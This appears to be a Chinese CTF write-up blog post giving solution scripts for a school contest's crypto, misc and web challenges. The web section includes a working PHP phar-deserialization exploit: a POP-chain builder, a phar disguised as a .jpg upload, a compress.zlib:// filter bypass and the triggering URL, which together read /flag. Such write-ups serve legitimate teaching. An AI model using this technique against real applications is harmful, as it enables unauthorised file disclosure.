Preface

期末月了quq,打完RCTF(多元coppersmith鲨我😭)后,回来打了一波校赛(web听同学说应该有丶顶,但退坑web手已经看不下去了- -,cry这次应该考虑到了有学弟学妹,所以偏引导向)

这次ACTF打完回去补课内ddl了(逃

Crypto

Column Permutation Cipher

[题解分析]

简单列置换密码,爆破key

[exp]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ct = 
ct_len = len(ct)
pt = ['?'] * ct_len
for i in range(2, ct_len // 2):
if (ct_len % i) != 0:
continue
print(i)
cnt = 0
for j in range(ct_len // i):
for k in range(j, ct_len, ct_len // i):
pt[cnt] = ct[k]
cnt += 1
flag = "".join(pt)
if "actf" in flag:
print(flag)

我的密码本

[题解分析]

替换密码,pt马丁路德金i have a dream,写字典跑脚本还不如直接sublime- -

bomb or boom

[题解分析]

披cry皮misc题,bloom (k, n)门限方案(k = 4, n = 5)

bloom门限恢复明文即可.

[exp]

1
2
3
4
5
6
7
8
9
10
11
a1 = 2891369521230520600
m1 = 5539166121540472709
a2 = 5485400237604727152
m2 = 9993590208169240051
a3 = 15126620242797492888
m3 = 38726457607077802967
a4 = 63558232650391605454
m4 = 134070550878039878083
a = [a1, a2, a3, a4]
m = [m1, m2, m3, m4]
print(bytes.fromhex(hex(crt(a, m))[2:]))

naive encryption

Enc

1
2
3
4
5
6
7
8
9
10
11
k = [...]
len_k = len(k)
len_flag = len(flag)
...
cipher = flag
n = 1000
while n > 0:
for i in range(len_flag):
cipher[i] = (cipher[i] * k[(n + 2) % len_k] + k[(n * 7) % len_k]) & 0xff
n = n - 1
print(cipher)

Dec

1
cipher [i] = ((cipher[i] - k[(n * 7) % len_k]) * inverse(k[(n + 2) % len_k], 0x100)) % 0x100

[exp]

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import *

cipher = [...]
k = [...]
len_k = len(k)
n = 1
while n <= 1000:
for i in range(len(cipher)):
cipher [i] = ((cipher[i] - k[(n * 7) % len_k]) * inverse(k[(n + 2) % len_k], 0x100)) % 0x100
n += 1
print(bytes(cipher))

naive rsa

[题解分析]

已知$a=p\%q$,即$p=iq+a$,爆破i使得方程在ZZ下有解即可.

[exp]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from tqdm import tqdm
from gmpy2 import iroot
from Crypto.Util.number import *

a =
n =
c =
for i in tqdm(range(1, 2**21)):
r, _ = iroot(a**2 + 4 * i * n, 2)
if _:
q = (-a + int(r)) // (2 * i)
assert(n % q == 0)
p = n // q
break
phi = (p - 1) * (q - 1)
d = inverse(65537, phi)
print(long_to_bytes(pow(c, d, n)))

DLP头号玩家

[题解分析]

  • level1: p=getPrime(33),BSGS复杂度控制在$O(2^{16})$.
  • level2: 给出$g,g^{k}\ mod\ p,m*g^{dk}\ mod\ p$,且d=bytes_to_long(message[0:2]),所以在0xffff下爆破d即可还原m.
  • level3: 发现并不是ECDLP- -因为最后给出的cipher不是曲线上的点,而是实数范围上的message[k]*k_Q_x,发现源码中的get_ng函数实际上就是将椭圆上的点*100,于是题目给出基点G,求出$C=100^{2}G$,$chr(cipher//C_{x})$即为对应明文字节,逐位恢复即可.

[exp]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
import string, re
from pwn import *
from Crypto.Util.number import *
from sys import argv
from hashlib import sha512

context.log_level = "debug"
io = remote(argv[1], argv[2])

flag_dist = (string.ascii_letters + string.digits + "-{}").encode()


def proof_of_work():
io.recvuntil("[:20]=")
prefix = io.recvline().strip().decode("utf-8")
n = 0
while True:
pre = sha512(long_to_bytes(n)).hexdigest()[:20]
if pre == prefix:
io.sendline(str(n))
break
n += 1


def bsgs(alpha, beta, p):
res = []
m = ceil(sqrt(p - 1))
S = {pow(alpha, j, p):j for j in range(m + 1)}
gs = pow(alpha, p - 1 - m, p)
for i in range(m + 1):
if beta in S:
res.append(i * m + S[beta])
beta = (beta * gs) % p
return res


def check(msg):
for m in msg:
if m not in flag_dist:
return False
return True


def level1():
io.recvuntil("p=")
p = int(io.recvline().strip().decode("utf-8"))
g = 2
message1 = b""
for i in range(4):
io.recvuntil("c=")
c = int(io.recvline().strip().decode("utf-8"))
y = bsgs(g, c, p)
if len(y):
for _ in y:
if check(long_to_bytes(_)):
message1 += long_to_bytes(_)
else:
print("Failed.")
exit(0)
message1 = message1.decode("utf-8")
print(message1)
io.sendlineafter("input the message:", message1)
return message1


def level2():
io.recvuntil("pubkey= (")
pubkey = io.recvline().strip().decode("utf-8")[:-1]
pubkey = [int(_) for _ in pubkey.split(",")]
e, g, p = pubkey[0], pubkey[1], pubkey[2]
io.recvuntil("cipher= (")
cipher = io.recvline().strip().decode("utf-8")[:-1]
cipher = [int(_) for _ in cipher.split(",")]
a, b = cipher[0], cipher[1]
for d in range(2**16):
message2 = long_to_bytes((inverse(pow(a, d, p), p) * b) % p)
if check(message2):
message2 = (long_to_bytes(d) + message2).decode("utf-8")
print(message2)
io.sendlineafter("input the message:", message2)
return message2


def level3():
io.recvuntil("p=")
p = int(io.recvline().strip().decode("utf-8"))
params = io.recvline().strip().decode("utf-8")
regex = re.compile("a=(\d+), b=(\d+)")
params = regex.findall(params)[0]
a, b = int(params[0]), int(params[1])
Ep = EllipticCurve(GF(p), [a, b])
message3 = []
io.recvline()
for i in range(10):
s = io.recvline().strip().decode("utf-8")
regex = re.compile("G=\((\d+),(\d+)\),C=(\d+)")
s = regex.findall(s)[0]
x, y, c = int(s[0]), int(s[1]), int(s[2])
G = Ep(x, y)
C = 10000 * G
message3.append(c // int(C[0]))
message3 = "".join(chr(_) for _ in message3)
print(message3)
io.sendlineafter("input the message:", message3)
return message3


def main():
proof_of_work()
print(level1() + level2() + level3())
io.interactive()


if __name__ == "__main__":
main()

Imitation game

[题解分析]

1
2
3
4
5
6
7
8
9
10
iv=getRandomRange(1,0xff)
...
def encrypt(iv,message):
padding=[iv]
cipher=[message[0]^padding[0]]
for i in range(1,len_flag):
#print(cipher)
padding.append(cipher[i-1]^padding[i-1])
cipher.append(message[i]^padding[i])
print("cipher={}".format(cipher))

即$cipher=[m[0]\oplus iv,m[1]\oplus m[0],…,m[n-1]\oplus m[n-2]]$.

所以爆破iv获得254种可能中间态.

而中间态和flag间关系如下:

1
2
3
for i in range(10):
message=strxor(flag,plaintext[i])
encrypt(iv,message)

MTP老套路了- -

[exp]

jupyter里手操,而且本题中MTP不论是用猜测空格还是字频分析都存在一定误差,需手动调整- -老毛病了(估计也有可能是我一直用的频率表不太对

naive aes

[题解分析]

考察简单的S盒及P盒逆向算法

[exp]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
from Crypto.Util.number import *
from binascii import hexlify, unhexlify
from hashlib import sha512

context.log_level = "debug"
io = remote("actf.node.csuaurora.org", "28627")


def proof_of_work():
io.recvuntil("[:20]=")
prefix = io.recvline().strip().decode("utf-8")
n = 0
while True:
pre = sha512(long_to_bytes(n)).hexdigest()[:20]
if pre == prefix:
io.sendline(str(n))
break
n += 1


def hexpad(hexBlock):
numZeros = 8 - len(hexBlock)
return numZeros * "0" + hexBlock


def inv_substitute(hexBlock):
substitutedHexBlock = ""
substitution = [8, 4, 15, 9, 3, 14, 6, 2, 13, 1, 7, 5, 12, 10, 11, 0]
for hexDigit in hexBlock:
newDigit = substitution.index(int(hexDigit, 16))
substitutedHexBlock += hex(newDigit)[2:]
return substitutedHexBlock


def inv_permute(hexBlock):
inv_permutation = [22, 9, 15, 26, 5, 25, 0, 24, 31, 29, 20, 11, 17,
28, 13, 8, 21, 30, 3, 7, 27, 18, 1, 6, 23, 14, 19, 16, 12, 4, 2, 10]
block = int(hexBlock, 16)
permutedBlock = 0
for i in range(32):
bit = (block & (1 << i)) >> i
permutedBlock |= bit << inv_permutation[i]
return hexpad(hex(permutedBlock)[2:])


def dec_round(hexMessage):
numBlocks = len(hexMessage) // 8
permutedHexMessage = ""
for i in range(numBlocks):
permutedHexMessage += inv_permute(hexMessage[8*i:8*i+8])
substitutedHexMessage = ""
for i in range(numBlocks):
substitutedHexMessage += inv_substitute(permutedHexMessage[8*i:8*i+8])
return substitutedHexMessage


def decrypt(hexMessage):
for i in range(10000):
hexMessage = dec_round(hexMessage)
return unhexlify(hexMessage.encode())


def main():
proof_of_work()
hexMessage = io.recvline().strip().decode("utf-8")
print(decrypt(hexMessage))


if __name__ == "__main__":
main()

tiny_PRNG0

[题解分析]

MT predict,也是经典考点了,题目能得到无限长的随机数流,取624个即可.

可以用自己写的脚本https://0xdktb.top/2020/03/27/Summary-of-Crypto-in-CTF-PRNG/#mt—-predictbacktrace,也可以用randcrack.

[exp]

1
2
3
4
5
6
7
8
9
10
from randcrack import RandCrack

Rand = RandCrack()
data = [...]
assert(len(data) >= 624)
for i in range(624):
Rand.submit(data[i])
for i in range(624, len(data)):
Rand.predict_randrange(0, 0xffffffff)
print Rand.predict_randrange(0, 0xffffffff)

预测成功一次即获得flag.

tiny_PRNG1

[题解分析]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
uint64_t s[2];

static inline uint64_t rotl(const uint64_t x, int k) {
return (x << k) | (x >> (64 - k));
}

uint64_t next(void) {
const uint64_t s0 = s[0];
uint64_t s1 = s[1];
const uint64_t result = s0 + s1;

s1 ^= s0;
s[0] = rotl(s0, 55) ^ s1 ^ (s1 << 14);
s[1] = rotl(s1, 36);
return result;
}
...
s[0] = *reinterpret_cast<uint64_t *>(flag + 5);
s[1] = *reinterpret_cast<uint64_t *>(flag + 13);
assert(("Flag length correct", strlen(flag) == 22));

next的re很简单,但输出只是s0+s1,推了挺长一段时间觉得挺麻烦的,就尝试用z3直接求解,前连续两个res即可确定种子.

拿到flag以后发现是xoroshiro128plus- -

[exp]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from z3 import *
from sys import argv
from Crypto.Util.number import *

mask = 2**64 - 1

def rotl(x, k):
return ((x << k) | (x >> (64 - k))) & mask

def next(s0, s1):
s1 ^= s0
return (rotl(s0, 55) ^ s1 ^ (s1 << 14)) & mask, rotl(s1, 36)

fl, fr = BitVecs('fl fr', 64)
s0, s1 = fl, fr
solver = Solver()

for res in argv[1:]:
solver.add((s0 + s1) & mask == int(res, 0))
s0, s1 = next(s0, s1)

cnt = 1
while True:
if solver.check() != sat:
break
flag = solver.model()
flag_left, flag_right = flag[fl].as_long(), flag[fr].as_long()
print("[{}] - {} | {}".format(cnt, long_to_bytes(flag_left), long_to_bytes(flag_right)))
solver.add(And(fl != flag[fl], fr != flag[fr]))
cnt += 1

# [1] - b'rihsorox' | b'sulp821o'

Misc

签到

公众号回复

神奇的时钟

[题解分析]

hint给了新加坡樟宜机场,查了下时钟墙就知道怎么回事了- -

csv文件中给出的均为总秒数,用matplotlib绘图即可

[exp]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from matplotlib.lines import Line2D
import matplotlib.pyplot as plt

data = [[...],[...],...]
# (min, sec)
params = []
for row in data:
param = []
for col in row:
param.append(((col % 3600) // 60, col % 60))
params.append(param)
# (delta_x, delta_y)
delta = {0: (0, 0.5), 7: (0.353, 0.354), 10: (0.433, 0.25), 15: (0.5, 0), 20: (0.433, -0.25), 23: (0.353, -0.354), 30: (0, -0.5), 37: (-0.353, -0.354), 40: (-0.433, -0.25), 45: (-0.5, 0), 50: (-0.433, 0.25), 53: (-0.353, 0.354)}

# draw
figure, ax = plt.subplots()
ax.set_xlim(left=0, right=115)
ax.set_ylim(bottom=0, top=15)
y = 10
for row in params:
x = 1
for col in row:
dx, dy = delta[col[0]]
ax.add_line(Line2D((x, x + dx), (y, y + dy), linewidth=1, color='blue'))
dx, dy = delta[col[1]]
ax.add_line(Line2D((x, x + dx), (y, y + dy), linewidth=1, color='red'))
x += 1
y -= 1
plt.plot()
plt.show()

Web

SimplePHP

[题解分析]

退坑web手的心酸操作(x

考察phar反序列化,highlight_filefile_exists都能触发,但有做strtolower(substr($file,0,4))=='phar' || strtolower(substr($high_light,0,4))=='phar'的黑名单判断,因此用zlib绕过.

poc链:__destruct(Sh0w) => __call(S6ow) => __get(S6ow) => file_get(S6ow) => __toString(Show).

实现任意文件读取(存在以下黑名单preg_match("/http|https|file:|gopher|dict|zip|php|\.\./i", $this->source)),但读取flag只需file_get_contents("/flag")即可.

[exp]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
class Show
{
public $source;
public $str;
public function __construct($source)
{
$this->source = $source;
}
}

class S6ow
{
public $file;
public $params;
public function __construct($file, $params)
{
$this->file = $file;
$this->params = $params;
}
}

class Sh0w
{
public $test;
public $str;
public function __construct($str)
{
$this->str = $str;
}
}

$params = array();
$params["_show"] = "file_get";
$file = new Show("/flag");
$o = new Sh0w(new S6ow($file, $params));

@unlink("SimplePHP.phar");
$phar = new Phar("SimplePHP.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

将SimplePHP.phar后缀名修改为.jpg上传,再包含即可.

1
http://actf.node.csuaurora.org:28726/file.php?high_light=compress.zlib://phar://upload/9ee4f116e740e2207acbdfc5a78c12cd.jpg&file=upload/